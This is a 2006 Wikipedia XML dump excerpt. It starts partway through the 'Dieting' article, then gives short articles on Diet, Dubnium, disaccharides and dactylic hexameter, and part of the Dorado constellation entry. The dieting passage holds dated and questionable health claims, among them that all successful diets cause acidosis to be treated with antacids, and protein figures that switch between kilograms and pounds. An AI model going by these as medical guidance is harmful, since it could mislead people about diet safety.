According to the principles of [[thermoregulation]], humans are [[endotherms]]. We expend energy to maintain our blood temperature at [[body temperature]], which is about 37 °C (98.6 °F). This is accomplished by metabolism and blood circulation, by shivering to stay warm, and by sweating to stay cool.

In addition to thermoregulation, humans expend energy keeping the vital organs (especially the lungs, heart and brain) functioning. Except when sleeping, our [[skeletal muscles]] are working, typically to maintain upright [[posture]]. The average work done just to stay alive is the [[basal metabolic rate]], which (for humans) is about 1 watt per kilogram of body mass. Thus, an average man of 75 kilograms who just rests (or only walks a few steps) burns about 75 watts (continuously), or about 6,500 [[joule|kilojoules]] (1,500 [[Calorie|Calories]]) per day.

===Physical exercise (with an example)===
[[exercise|Physical exercise]] is an important complement to dieting in securing weight loss. [[Aerobic exercise]] is also an important part of maintaining normal [[health|good health]], especially the [[strength|muscular strength]] of the heart. To be useful, aerobic exercise requires maintaining a [[heart rate|target heart rate]] of above 50 percent of one's [[heart rate|maximum heart rate]] for 30 minutes, at least 3 times a week. Brisk walking can accomplish this.

The ability of a few hours a week of exercise to contribute to weight loss can be overestimated. To illustrate, consider a 100-kilogram man who wants to lose 10 kilograms and assume that he eats just enough to maintain his weight (at rest), so that weight loss can only come from exercise. Those 10 kilograms converted to work are equivalent to about 350 megajoules. (We use an approximation of the standard 37 kilojoules or 9 Calories per gram of fat.) Now assume that his chosen exercise is stairclimbing and that he is 20 percent efficient at converting chemical energy into mechanical work (this is within measured ranges). To lose the weight, he must ascend 70 kilometers. A man of normal fitness (like him) will be tired after 500 meters of climbing (about 150 flights of stairs), so he needs to exercise every day for 140 days (to reach his target).

The minimum safe dietary energy intake (without medical supervision) is 75 percent of that needed to maintain basal metabolism. For our hypothetical 100-kilogram man, that minimum is about 5,700 kilojoules (1,300 Calories) per day. By combining daily aerobic exercise with a weight-loss diet, he would be able to lose 10 kilograms in half the time (70 days). Of course, the described regime is more rigorous than would be desirable or advisable for many persons. Therefore, under an effective but more manageable weight-loss program, losing 10 kilograms (about 20 pounds) may take as long as 6 months.

===Fat loss versus muscle loss (and the importance of exercise and protein intake)===
It is important to understand the difference between weight loss and fat loss. Weight loss typically involves the loss of fat, water and muscle.  A dieter can lose weight without losing much fat.  Ideally, overweight people should seek to lose fat and preserve muscle, since muscle burns more calories than fat. Generally, the more muscle mass one has, the higher one's metabolism is, resulting in more calories being burned, even at rest. Since muscles are denser, muscle loss results in little loss of physical bulk compared with fat loss.  To determine whether weight loss is due to fat, various methods of measuring [[body fat percentage]] have been developed.

Muscle loss during weight loss can be restricted by regularly lifting weights (or doing [[push-ups]] and other strength-oriented [[calisthenics]]) and by maintaining sufficient [[protein]] intake. According to the [[National Academy of Sciences]], the [[Dietary Reference Intake]] for protein is &quot;0.8 grams per kilogram of body weight for adults.&quot;

Those on low-carbohydrate diets, and those doing particularly strenuous exercise, may wish to increase their protein intake. Excessive protein intake, however, can cause toxic levels of protein [[metabolites]], such as [[uric acid]]. According to the [[American Heart Association]], excessive protein intake can cause liver and kidney problems and may be a [[risk factor]] for [[heart disease]].

===Actual energy obtained from food===

The energy humans get from food is limited by the efficiency of digestion and the efficiency of utilization. The efficiency of digestion is largely dependent on the type of food being eaten. Poorly chewed seeds are poorly digested. Refined sugars and fats are absorbed almost completely. Despite the claims of certain popular diets, chewing and digesting does not use a substantial amount of the energy offered by any food (that anyone would want to eat). Even celery, known for being low in caloric value, contains enough [[sugar|sugars]] (including [[sucrose]], [[glucose]] and [[galactose]]) to easily compensate for the cost of (energy invested in) chewing it. (See [http://www.nal.usda.gov/fnic/ Food &amp; Nutrition Information Center].}

The efficiency of energy utilization by skeletal muscles is around 20 percent. That is, of the chemical energy used, 20 percent does work and 80 percent creates heat.

===Proper nutrition===
Humans require essential nutrients from 5 broad classes: proteins, fats, [[carbohydrate]]s, [[vitamins]] and [[minerals]]. Essential [[amino acid|amino acids]] (protein) are required for cell, especially muscle, construction. Essential [[fatty acid|fatty acids]] are required for brain and cell wall construction. Carbohydrates are required to maintain liver stores of [[glycogen]], which is essential for brain function. (Obtaining glycogen primarily from protein, such as occurs during starvation, is abnormal.)  Vitamins and minerals are essential for many functions.

Any diet that fails to meet minimum nutritional requirements can threaten general health (and physical fitness in particular). If a person is not well enough to be active, weight loss and good quality-of-life will be unlikely.

The [[National Academy of Sciences]] and the [[World Health Organization]] publish guidelines for dietary intakes of all known essential nutrients. Dieters should follow their listed minimums. A good general rule is to obtain at least 20 percent of caloric intake from each of the three classes of caloric nutrients (proteins, fats and carbohydrates).

Sometimes dieters will take excessive amounts of vitamin and mineral supplements. While this is usually harmless, some nutrients are notably dangerous. Men (and women who don't [[menstruation|menstruate]]) need to be wary of [[iron poisoning]]. Retinol (oil-soluble vitamin A) is toxic in large doses.

A sensible weight-loss diet is a normal balanced diet; it just comes with smaller portions. Extreme diets (based on caprice or obsession) will likely lead to malnutrition.

===How the body gets rid of fat===
All body processes require energy to run properly. When the body is expending more energy than it is taking in (e.g. when exercising), body cells rely on internally stored energy sources, like complex carbohydrates and fats, for energy. The first source the body turns to is glycogen, which is a complex carbohydrate created by the body. When that source is nearly depleted, the body begins [[lipolysis]], the metabolism of fat for energy. In this process, fats, obtained from fat cells, are broken down into [[glycerol]] and [[fatty acids]], which can be used to make energy. The primary by-products of metabolism are carbon dioxide and water; carbon dioxide is expelled through the respiratory system.

Fats are also secreted by the [[sebaceous gland|sebaceous glands]] (in the skin), especially concurrently with [[sweat|sweating]] during exercise. (The bladder and bowels, also expel certain metabolic products).

==Psychological aspects of weight-loss dieting==
Diets affect the &quot;energy in&quot; component of the energy balance by limiting or altering the distribution of foods. Techniques that affect the [[appetite]] can limit energy intake by affecting the desire to overeat.

Consumption of low-energy, fiber-rich foods, such as vegetables, is effective in obtaining satiation (the feeling of &quot;fullness&quot;). Exercise is also useful in controlling appetite. (Extreme physical fatigue, such as experienced by soldiers and mountain climbers, can make eating a difficult chore.)

The use of drugs to control appetite is (potentially) dangerous. Stimulants are often taken as a means to ignore (normal, healthy) hunger by people who are not actually overweight.

[[habit|Habitual]] or [[emotion|emotional eating]] is a common problem. Sufferers often turn to [[self-help|self-help books]], [[hypnosis]] and [[group therapy]]. While these and other sources of support are valid, dieters must beware.

Some &quot;diet [[guru|gurus]]&quot; are [[charlatan|charlatans]]. Others are well-meaning but focus on psychology or philosophy at the expense of practical solutions. Diets designed to appeal to people emotionally are often either very difficult to follow (i.e., too strict) or useless (i.e., too lenient).

==Weight loss groups==
There exist both profit-oriented and non-profit weight loss organizations who assist people in their weight loss efforts. Examples of the former include [[Weight Watchers]] and [[Jenny Craig]]; examples of the latter include [[Overeaters Anonymous]], as well as a multitude of non-branded support groups run by local churches, hospitals, and like-minded individuals.

These organizations' customs and practices differ widely. Some groups are modelled on [[twelve-step program|twelve-step programs]], while others
are quite informal. Some groups advocate certain prepared foods or special menus, while others train dieters to make healthy choices from restaurant menus and while grocery-shopping and cooking.

Most groups leverage the power of group meetings to provide counseling, emotional support, problem-solving, and useful information.

==Popular Weight-Loss diets==
Popular diets (sometimes pejoratively called &quot;fad diets&quot;) usually derive their popularity from the [[personality|personalities]] of their proponents. These proponents include &quot;diet [[guru|gurus]]&quot; and celebrity converts. &quot;Diet books&quot; are the primary means of communicating the specifics of popular diets.

Most popular diets experience short-lived popularity, partly because new diet books are continuously being published.

Judging the effectiveness (and nutritional merit) of popular diets can be especially difficult. Diet proponents often locate medical professionals to back up their work. And some diets are so [[controversy|controversial]] that they divide the medical community.

Many popular diets advocate the combination a specific technique (such as eliminating a certain food, or eating only certain combinations of foods) with reduced caloric intake, with the goal being to accelerate weight loss. Others ignore traditional science altogether.

===Grapefruit diet===
On the grapefruit diet, the consumption of grapefruit with each meal is said to increase metabolism, whereby burning fat and enabling rapid weight loss. Some people are allergic to this particular fruit.

===Low-fat diets===
Low-fat diets were popular during the 1980s and 1990s, encouraging people to eat foods low in fat (or without fat altogether) and instead eat foods high in carbohydrates.

Unfortunately, the [[general public]] came to believe, partly due to information from low-fat diet proponents, that carbohydrates were &quot;energy food&quot; and that only fat made people fat. This led to excessive consumption of low-fat foods rich in refined carbohydrates (notably [[corn syrup]]), which lead some people to gain more weight.  

Some low-fat diets were healthier, focusing on consumption of whole grains, vegetables and lean meats. (See [[Pritikin diet]].) But even these diets did not recognize the importance of essential fatty acids.

===Atkins (low-carbohydrate diet)===
[[Atkins Nutritional Approach|The Atkins Diet]] is a very popular diet.
Dr. Robert Atkins' concept, somewhat exaggerated by the media, that a person can lose weight whilst gorging on meat, has captured the public's imagination. The success of those who tried the diet varied depending on the degree they adhered to the long term stages of the diet structure. The famous Atkins diet was originally designed for diabetes patients who wanted to manage their insulin levels more effectively. The diet was also embraced by those seeking a diet based on increasing meals, although mostly protein in nature, rather than reducing calories.

Atkins discourages carbohydrate intake and encourages protein intake, especially in the form of meat. The diet encourages the consumption of fruits and vegetables for the provision of fiber and nutrients; it takes a somewhat neutral stand on fat intake.

Many people experience rapid initial weight loss on Atkins, some of which is due to depletion of glycogen stores in the liver. (Glycogen in the body is associated with several times its weight in water.)

Low carbohydrate diets have been shown to reduce the fasting levels of [[triglycerides]]. Elevated triglycerides are a demonstrated risk factor for heart disease. (Low-fat diets also reduce fasting levels of triglycerides.)

A low-carbohydrate diet may not be suitable as a weight-maintenance diet (long-term). The by-products of fat metabolism ([[Fatty acid metabolism|lipolysis]]) and protein metabolism ([[gluconeogenesis]]) include [[ketones]] and [[uric acid]]; these can cause [[acidosis]]. Obtaining energy from carbohydrates is easier on the body.

Note: Any successful weight-loss diet will cause some acidosis; symptoms range from mild fatigue to severe joint pain. Acidosis can be controlled by drinking water (in large amounts) and taking [[antacid]] supplements (or eating vegetables grown in alkaline soil).

Note: Human metabolism is enormously complicated. To the extent low-carbohydrate diets are effective, their mechanism is controversial and incompletely understood.

===Natural Diets===
Since the advent of controversial diets such as Atkins, various diets that stress the eating habits of &quot;natural humans&quot; have been developed.  The [[Evolution Diet]] explains &quot;what and how we were designed to eat&quot;; the [[Paleolithic diet|Paleolithic Diet]] imitates the way people ate during the [[Stone Age]].

===Vegetarian diet===
There is a growing body of evidence that vegetarian diets can prevent obesity and lower disease risks.

According to the [[American Dietetic Association]], &quot;Vegetarians have been reported to have lower body mass indices than nonvegetarians, as well as lower rates of death from ischemic heart disease; vegetarians also show lower blood cholesterol levels; lower blood pressure; and lower rates of hypertension, type 2 diabetes, and prostate and colon cancer.&quot;

Vegans on average weigh 10 percent less than non-vegetarians. And in a year-long study comparing Dean Ornish's vegetarian diet to Weight Watchers, The Zone Diet, and The Atkins Diet, subjects on Dean Ornish's diet achieved the most weight loss (on average).

Note: Human metabolism is enormously complicated. To the extent vegetarian diets are effective, their mechanism is controversial and incompletely understood.

==Very Low Calorie Diet==
The Very Low Calorie Diet (VLCD) is a prescribed diet for obese patients. Daily intake consists of three [[milkshake|milkshake-like]] formula drinks (made with powder concentrate and water), which supply about 2000 kilojoules (500 Calories) and all necessary vitamins and minerals.

There are risks to this diet. A patient who drinks more formula than allowed can get too much iron and selenium. [[Constipation]] is a problem: extra water and (fiber) laxatives may be required. [[immune system|Immune response]] may be compromised.

VLCD should only be used for dieting when a patient's [[body mass index]] exceeds 30. The diet requires regular consultation between patient and doctor.

VLCD can be very successful when used over a 6-12 week period. As with all starvation diets, metabolism will fall. A sensible diet-and-exercise plan must follow cessation of VLCD, or weight will be gained back.

Note: Human metabolism is enormously complicated. To the extent VLCD diets are effective, their mechanism is controversial and incompletely understood.

==Dangers of weight loss dieting==
Strange or extreme diets can be very dangerous, and they are often ineffective. If one seeks the sensible and popular ideal of being lean and athletic, then starvation diets are counterproductive.

===Diet pills===
There are many diet pills for sale, some which are associated with comprehensive dietary programs. Many such pills, including many of those containing [[vitamins]] and [[minerals]], are not effective for losing weight.

Some drugs enable short-term weight loss, usually with unpleasant and potentially dangerous side effects. The drugs include (physiologically active) [[herb|herbal]] products available at [[health food]] stores, as well as over-the-counter (OTC) and prescribed medications provided by doctors and pharmacists.

Typically these drugs fall into two classes: [[diuretics]] to induce water-weight loss and [[stimulants]] (such as [[ephedrine]]) to increase heart rate and reduce appetite. Both classes of drugs can cause kidney and liver damage, and stimulants can cause sudden heart attacks and [[addiction]].

===Yo-yo dieting===
[[Yo-yo dieting]] is defined by alternating periods of feast and famine (that the dieter deliberately undertakes). It is a particularly ineffective method of sustaining weight loss.

The human body responds to starvation by decreasing metabolism. When food is again available, it is stored immediately as fat. This survival mechanism, while a useful response to genuine food scarcity, leaves the yo-yo dieter feeling lethargic and fatigued (and defeated).

Metabolism can be restored to a higher level with exercise and a sensible weight-loss diet. This diet is defined by the minimum safe daily caloric intake of 75 percent of the basal metabolic rate or 4200 kilojoules (1000 Calories), whichever is greater. (Those eating less should do so only under medical supervision. Parents and guardians should consult medical professionals before placing their children on any type of diet.)

Once an ideal weight is attained, a weight-maintenance diet is essential. This requires limiting excess caloric intake and making small changes in caloric intake in response to physical observations (of one's weight and appearance).

===Scientific analysis of the dangers of fasting (and discussion of partial fasting with protein supplementation)===
While anyone can lose weight by [[fasting]] (temporarily stopping one's food intake), it is a dangerous practice. When [[concentration camp]] survivors, who involuntarily suffered famine as a result of horrendous living conditions, were examined by doctors, what little weight they had was mostly fat, with practically no muscle.

The muscle loss is partly due to the fact that the brain cannot rely completely on fat for fuel. The brain can use [[ketones]] (from fat) for some purposes, but it must get at least 15 percent of its energy from [[glucose]], and it takes a much greater percentage than this early in a fast. Glucose can only be synthesized from proteins and carbohydrates.

The body stores carbohydrates as glycogen in the muscles and the liver; glycogen is used to make glucose. Glycogen stores (from carbohydrates) can only last for 2 weeks (during starvation). (In fact, [[marathon (sport)|marathon]] runners experience a shortage of easily-available glycogen after only 2 hours: they speak of &quot;hitting the wall&quot;.)

Because fasts, very low calorie diets (VLCD), and low-carbohydrate diets restrict the intake of carbohydrates, glucose must be obtained from protein. If dietary protein is insufficient, internal sources will be obtained: [[autolysis]] and muscle wasting occurs. (The conversion of amino acids to glucose is called [[gluconeogenesis]].)

A very low calorie diet that restricts all carbohydrates and non-essential fats, while providing just enough dietary protein to prevent muscle loss, is termed a &quot;protein sparing modified fast&quot; (PSMF).

After experimentation, it was found that a protein intake of 1 to 1.5 grams of protein per kilogram of ideal bodyweight (lean body mass or LBM) prevented the loss of body protein. A somewhat &quot;safer&quot; intake of .8 to 1.2 grams of protein per pound of LBM is often recommended. (More active persons and those taking less protein must compensate by consuming at least some carbohydrates.)

Thus, PSMF allows for rapid fat loss due to the severe caloric deficit that is created when nearly all carbohydrates and fats are removed from the diet. This extreme dieting technique has many potential hazards, such as hormonal changes and rapid metabolic slowdown. PSMF is sometimes used by [[bodybuilder|bodybuilders]] to &quot;get cut&quot; (lose fat to expose muscle) just before competitions.

===Side effects===
Dieting, especially extreme food-intake reduction, can have the following side effects:
*[[hunger|Prolonged hunger]]
*[[Depression (mood)|Depression]]
*[[sex drive|Reduced sex drive]]
*[[Fatigue (physical)|Fatigue]]
*[[Irritable|Irritability]]
*[[Fainting]]
*[[sinus|Sinus problems (especially post-nasal drip)]]
*[[muscle|Muscle loss]]
*[[Rash|Rashes]]
*[[Acidosis]]
*[[Bloodshot eyes]]

==See also==
*[[Appetite suppressant]]
*[[Food faddism]]
*[[Body image]]
*[[Body fat percentage]]
*[[List of diets]]
*[[National Weight Control Registry]]
*[[Underweight]]
*[[Vegetarianism]]

==External links==
&lt;!--                                        --&gt;
&lt;!--                                        --&gt;
&lt;!-- Do not post links to commercial sites. --&gt;
&lt;!-- They will be removed immediately       --&gt;
&lt;!--                                        --&gt;
&lt;!--                                        --&gt;
*[http://dmoz.org/Home/Cooking/Special_Diets/ Directory of diet info]
*[http://www.healthierus.gov/ U.S. government site on dieting]
*[http://www.eatwell.gov.uk/healthydiet/ U.K. government site on dieting]
*[http://cluster3.biosci.utexas.edu/courses/herpetology/ryan/thermoreg.html Michael Ryan] - Thermoregulation
*[http://www4.nationalacademies.org/news.nsf/isbn/0309085373?OpenDocument National Academy of Sciences] - Dietary Reference Intakes
*[http://www.americanheart.org/presenter.jhtml?identifier=11234 American Heart Association] - High-Protein Diets


==Sources==
*Dansinger, M.L., Gleason, J. L., Griffith, J.L., et al., &quot;One Year Effectiveness of the Atkins, Ornish, Weight Watchers, and Zone Diets in Decreasing Body Weight and Heart Disease Risk&quot;, Presented at the American Heart Association Scientific Sessions [[November 12]], [[2003]] in Orlando, Florida.)
*American Dietetic Association. 2003. Position paper on vegetarian diets. J Am Diet Assoc. 103:748-765.
*Davis, B. and Melina, V. 2000. ''Becoming Vegan.'' pg. 22.

[[Category:Diets]]
[[Category:Nutrition]]
[[Category:Obesity]]

[[da:Afmagringskur]]
[[de:Diät]]
[[fr:Régime alimentaire]]
[[he:דיאטה]]
[[ja:ダイエット]]
[[pt:Dieta]]
[[sv:Bantning]]
[[zh:减肥]]</text>
    </revision>
  </page>
  <page>
    <title>Diet</title>
    <id>8461</id>
    <revision>
      <id>40105635</id>
      <timestamp>2006-02-18T04:15:07Z</timestamp>
      <contributor>
        <username>Jpgordon</username>
        <id>96897</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/59.95.7.150|59.95.7.150]] ([[User talk:59.95.7.150|talk]]) to last version by Longhair</comment>
      <text xml:space="preserve">'''Diet''' may mean:

In '''nutrition''':

* [[Diet (nutrition)]], the sum of the food consumed by an organism or group.
* [[Dieting]], the deliberate selection of food to control body weight or nutrient intake.
* [[Diet food]], those foods that aid in [[Dieting]], e.g. [[Diet Coke]]

'''Other uses''':

* [[Diet (assembly)]], formal deliberative assembly
* [[Dietsch]], distinguishes the southern dialects in the [[Middle Dutch language]]

{{disambig}}

[[da:Diæt]]
[[fr:Diète]]
[[it:Dieta]]
[[pl:Dieta]]
[[pt:Dieta]]</text>
    </revision>
  </page>
  <page>
    <title>Dubnium</title>
    <id>8463</id>
    <revision>
      <id>40013746</id>
      <timestamp>2006-02-17T14:25:19Z</timestamp>
      <contributor>
        <username>Chobot</username>
        <id>259798</id>
      </contributor>
      <minor />
      <comment>robot  Adding: ko</comment>
      <text xml:space="preserve">{{Elementbox_header | number=105 | symbol=Db | name=dubnium | left=[[rutherfordium]] | right=[[seaborgium]] | above=[[tantalum|Ta]] | below=(Upp) | color1=#ffc0c0 | color2=black }}
{{Elementbox_series | [[transition metal]]s }}
{{Elementbox_groupperiodblock | group=5 | period=7 | block=d }}
{{Elementbox_appearance | unknown, probably silvery&lt;br /&gt;white or metallic gray }}
{{Elementbox_atomicmass_gpm | [[1 E-25 kg|(262)]] }}
{{Elementbox_econfig | perhaps &amp;#91;[[radon|Rn]]&amp;#93; 5f&lt;sup&gt;14&lt;/sup&gt; 6d&lt;sup&gt;3&lt;/sup&gt; 7s&lt;sup&gt;2&lt;/sup&gt;&lt;br /&gt;(guess based on [[tantalum]]) }}
{{Elementbox_epershell | 2, 8, 18, 32, 32, 11, 2 }}
{{Elementbox_phase | presumably a [[solid]] }}
{{Elementbox_cas_number | 53850-35-4 }}
{{Elementbox_footer | color1=#ffc0c0 | color2=black }}

'''Dubnium''' (formerly also called ''Eka-Tantalum'', ''Hahnium'' and ''Unnilpentium'') is a [[chemical element]] in the [[periodic table]] that has the symbol Db and [[atomic number]] 105.
This is a highly [[radioactive]] [[synthetic element]] whose most stable [[isotope]] has a [[half life]] of [[1 E4 s|16 hours]] (dubnium-268).  This relatively high stability compared to the surrounding elements on the periodic table gives evidence that by manipulating the number of neutrons in a nucleus, one can alter the stabilities of such nuclei.

== History ==
Dubnium (named after [[Dubna]], [[Russia]]) was reportedly [[discovery of the chemical elements|first synthesized]] in [[1967]] at the [[Joint Institute for Nuclear Research]] in [[Dubna]], [[Russia]] (reportedly producing element 105-260 and element 105-261 by bombarding [[americium]]-243 with [[neon]]-22). In late April [[1970]] researchers led by [[Albert Ghiorso]] working at the [[University of California, Berkeley]] had positively identified element 105.

The [[United States|American]] team synthesized the element by bombarding a target [[californium]]-249 with a beam of 84 MeV [[nitrogen]] nuclei in the [[Heavy Ion Linear Accelerator]] (a [[particle accelerator]]), which produced element 105-260 with a [[half-life]] of 1.6 seconds. [[Atom]]s of element 105 were detected conclusively on [[March 5]], [[1970]] but there is evidence that this element had already been formed at Berkeley a year earlier using the same method.

The Berkeley scientists later tried to confirm the [[Soviet Union|Soviet]] findings using more sophisticated methods but were not successful. They proposed that the new element should be named hahnium (symbol Ha) in honor of the late [[Germany|German]] scientist [[Otto Hahn]]. Consequently this was the name that most American and Western European scientists used.

An [[element naming controversy]] erupted over what to name this element after Russian researchers protested. The [[International Union of Pure and Applied Chemistry]] (IUPAC) thus adopted ''unnilpentium'' (symbol Unp) as a temporary, [[systematic element name]]. However in [[1997]] they resolved the dispute and adopted the current name, ''dubnium'' (symbol Db), after the city that contains the Russian [[Joint Institute for Nuclear Research]].

==References==
*[http://periodic.lanl.gov/elements/105.html Los Alamos National Laboratory - Dubnium]

== External links ==
{{Commons|Dubnium}}
*[http://www.webelements.com/webelements/elements/text/Db/index.html WebElements.com - Dubnium]

[[Category:Chemical elements]]
[[Category:Transition metals]]

[[ar:دبنيوم]]
[[ca:Dubni]]
[[cs:Dubnium]]
[[de:Dubnium]]
[[et:Dubnium]]
[[es:Dubnio]]
[[eo:Dubnio]]
[[fr:Dubnium]]
[[ko:더브늄]]
[[hr:Dubnij]]
[[it:Dubnio]]
[[ku:Dûbniyûm]]
[[lt:Dubnis]]
[[hu:Dubnium]]
[[nl:Dubnium]]
[[ja:ドブニウム]]
[[no:Dubnium]]
[[nn:Dubnium]]
[[pl:Dubn]]
[[pt:Dúbnio]]
[[ru:Дубний]]
[[sr:Дубнијум]]
[[fi:Dubnium]]
[[sv:Dubnium]]
[[th:ดุบเนียม]]
[[tr:Dubniyum]]
[[uk:Дубній]]
[[zh:𨧀]]</text>
    </revision>
  </page>
  <page>
    <title>Disaccharide</title>
    <id>8464</id>
    <revision>
      <id>39054535</id>
      <timestamp>2006-02-10T11:13:23Z</timestamp>
      <contributor>
        <ip>165.247.46.121</ip>
      </contributor>
      <comment>fix link</comment>
      <text xml:space="preserve">[[Image:Saccharose.png|thumb|right|Sucrose, a common disaccharide]]
A '''disaccharide''' is a [[sugar]] (a [[carbohydrate]]) composed of two [[monosaccharide]]s.

==Chemistry==
The two [[monosaccharide]]s are bonded via a [[condensation reaction]].  This bond can be between the 1-, 4-, or 6-[[carbon]] on each component monosaccharide.  So, even if both component [[sugar]]s are the same (e.g., [[glucose]]), different bond combinations result in disaccharides with different chemical and physical properties.

Like [[monosaccharide]]s, they are crystalline, water-soluble, and sweet-tasting.

== Common disaccharides ==
*[[sucrose]] (known as ''table sugar'', ''cane sugar'', ''saccharose'', or ''beet sugar'')
*[[lactose]] (milk sugar)
*[[maltose]] produced during the malting of [[barley]]
*[[Trehalose]] is present in [[fungus|fungi]] and [[insect]]s, and has been successfully produced at an industial scale by [[enzyme|enzymatic]] treatment of starch as a [[food]] ingredient.

Maltose and [[cellobiose]] are [[hydrolysis]] products of the [[polysaccharide]]s, [[starch]] and [[cellulose]], respectively.

[[Category:Disaccharides]]

{{biochem-stub}}

[[bg:Дизахарид]]
[[de:Zweifachzucker]]
[[es:Disacárido]]
[[eo:Disakarido]]
[[fr:Diholoside]]
[[it:Disaccaridi]]
[[ja:二糖]]
[[he:דו-סוכר]]
[[lt:Disacharidas]]
[[mk:Дисахарид]]
[[nl:Disacharide]]
[[pl:Disacharyd]]
[[ru:Дисахариды]]
[[sv:Disackarider]]
[[th:ไดแซคคาไรด์]]</text>
    </revision>
  </page>
  <page>
    <title>Dactylic hexameter</title>
    <id>8465</id>
    <revision>
      <id>41993079</id>
      <timestamp>2006-03-03T02:24:51Z</timestamp>
      <contributor>
        <ip>69.116.141.82</ip>
      </contributor>
      <text xml:space="preserve">'''Dactylic [[hexameter]]''' is a form of [[meter (poetry)|meter]] in poetry or a rhythmic scheme. It is traditionally associated with classical [[epic poetry]], both [[Greek language|Greek]] and [[Latin]], such as [[Homer|Homer]]'s [[Iliad]] and [[Odyssey]] and [[Virgil]]'s [[Aeneid]].  

A [[dactyl (poetry)|dactyl]] is a collection of three syllables, the first long, the other two short; thus, the ideal line of dactylic hexameter consists of six (''hexa'') metrons or feet, each of which is dactyllic.  Typically, however, the last foot of the line is not a real dactyl, but rather a two-syllable [[spondee]] or [[trochee]], i.e. the penultimate syllable is always long, the final syllable either long or short (such a syllable with optional stress is known as an [[anceps]] syllable).

In reality, it is difficult to arrange words in this meter, so poets may replace dactyls by spondees, which are feet with two long syllables. Traditionally, the fifth foot in a line is very often a real dactyl.  About one line in 20 of Homer has a spondee in the fifth foot, and such a line is called &quot;spondaic.&quot;

Accordingly, a line of dactylic hexameter can be diagrammed as follows. Note that ''-'' is a long syllable, ''u'' a short syllable and ''U'' either one long or two shorts:

:- U | - U | - U | - U | - u u | - -

The last foot often takes the form | - u |, especially in Greek.

For example:

: Down in a | deep dark | hole sat an | old pig | munching a | bean stalk

The &quot;foot&quot; is often compared to a musical measure and the long and short syllables to half notes (minims) and quarter notes (crotchets), respectively.

Excessive use of [[spondee|spondees]] can make the sound oppressive.  [[Cicero]]'s line
:''O for|tuna|tam na|tam me| consule | Romam'' 
:(&quot;o fortunate Rome born while I was consul&quot;) 
has five spondees &amp;ndash; only ''consule'' is a dactyl &amp;ndash; and damned him as a poet.

==External links==

* [http://www.skidmore.edu/academics/classics/courses/metrica/ Introduction to the dactylic hexameter] for Latin verse.
* [http://www.aoidoi.org/articles/meter/reading_dact_hex.php Reading dactylic hexameter], specifically Homer.

[[Category:Poetic form]]

[[fr:Hexamètre dactylique]]
[[nl:Dactylische hexameter]]
[[pl:Heksametr daktyliczny]]
[[pt:Hexâmetro dactílico]]</text>
    </revision>
  </page>
  <page>
    <title>Dorado</title>
    <id>8466</id>
    <revision>
      <id>38702229</id>
      <timestamp>2006-02-08T01:45:39Z</timestamp>
      <contributor>
        <username>GrinBot</username>
        <id>411872</id>
      </contributor>
      <minor />
      <comment>robot  Adding: hu</comment>
      <text xml:space="preserve">{{Infobox Constellation|
name = Dorado |
abbreviation = Dor |
genitive = Doradus |
symbology = the [[Swordfish]] |
RA = 5 |
dec= -60 |
areatotal = 179 |
arearank = 72nd |
numberstars = None |
starname = &amp;alpha; Dor |
starmagnitude = 3.27 |
meteorshowers = None |
bordering =
*[[Caelum]]
*[[Horologium]]
*[[Reticulum]]
*[[Hydrus]]
*[[Mensa (constellation)|Mensa]]
*[[Volans]]
*[[Pictor]] |
latmax = 20 |
latmin = 90 |
month = February |
notes=}}

:''This article is about a constellation in the sky. For alternative uses, see [[Dorado (disambiguation)]].''

'''Dorado''' (Spanish for 'mahi mahi') is a southern [[constellation]]. The constellation was one of twelve constellations created by [[Pieter Dirkszoon Keyser]] and [[Frederick de Houtman]] between 1595 and 1597, and it first appeared in [[Johann Bayer]]'s ''[[Uranometria]]'' of 1603. It is also known as '''Xiphias''' or the '''Sword-fish'''. 

Dorado is notable for containing most of the [[Large Magellanic Cloud]], the remainder being in the constellation [[Mensa (constellation)|Mensa]]. The [[South Ecliptic Pole]] also lies within this constellation.

== Notable stars ==
===Stars with Bayer designations===
:: [[Alpha Doradus|&amp;alpha; Dor]] 3.30; [[Beta Doradus|&amp;beta; Dor]] 3.76; [[Gamma Doradus|&amp;gamma; Dor]] 4.26; [[Delta Doradus|&amp;delta; Dor]] 4.34; [[Epsilon Doradus|&amp;epsilon; Dor]] 5.10; [[Zeta Doradus|&amp;zeta; Dor]] 4.71; [[Theta Doradus|&amp;theta; Dor]] 4.81; [[Eta1 Doradus|&amp;eta;&lt;sup&gt;1&lt;/sup&gt; Dor]] 5.72; [[Eta2 Doradus|&amp;eta;&lt;sup&gt;2&lt;/sup&gt; Dor]] 5.01; [[Kappa Doradus|&amp;kappa; Dor]] 5.28; [[Lambda Doradus|&amp;lambda; Dor]] 5.14; [[Nu Doradus|&amp;nu; Dor]] 5.06; [[Pi1 Doradus|&amp;pi;&lt;sup&gt;1&lt;/sup&gt; Dor]] 5.56; [[Pi2 Doradus|&amp;pi;&lt;sup&gt;2&lt;/sup&gt; Dor]] 5.37
===Stars with Flamsteed designations===
:: [[28 Doradus|28 Dor]] 5.34; [[36 Doradus|36 Dor]] 4.65
===Other notable stars===
:* [[S Doradus|S Dor]] 9.721 &amp;ndash; hypergiant in the [[Large Magellanic Cloud]], [[S Dor variable]] prototype
:*[[SN1987A|Supernova 1987A]] is the closest supernova since the invention of the telescope.
:* The variable star [[R Doradus]] 5.73 &amp;ndash; has the largest [[as of 1997|known]] size of any star. [http://simbad.u-strasbg.fr/cgi-bin/cdsbib?1997MNRAS.286..957B]

==Notable deep sky objects==

Because Dorado contains part of the [[Large Magellanic Cloud]], it is rich in deep sky objects. All coordinates given are for Epoch [[J2000.0]].

*'''[[NGC 1566]]''' ([[Right Ascension|RA]] 04h 20m 00s [[Declination|Dec]] -56&amp;deg; 56.3&amp;prime;) [http://skyview.gsfc.nasa.gov/cgi-bin/nnskcall.pl?Interface=bform&amp;VCOORD=ngc+1566&amp;NWINDOW=on&amp;SURVEY=Digitized+Sky+Survey&amp;SCOORD=Equatorial&amp;EQUINX=2000&amp;MAPROJ=Gnomonic&amp;SFACTR=Default&amp;ISCALN=Log%2810%29&amp;GRIDDD=No&amp;COLTAB=B-W+Linear Skyview image] is a face-on spiral galaxy. It gives its name to the NGC 1566 group of galaxies.
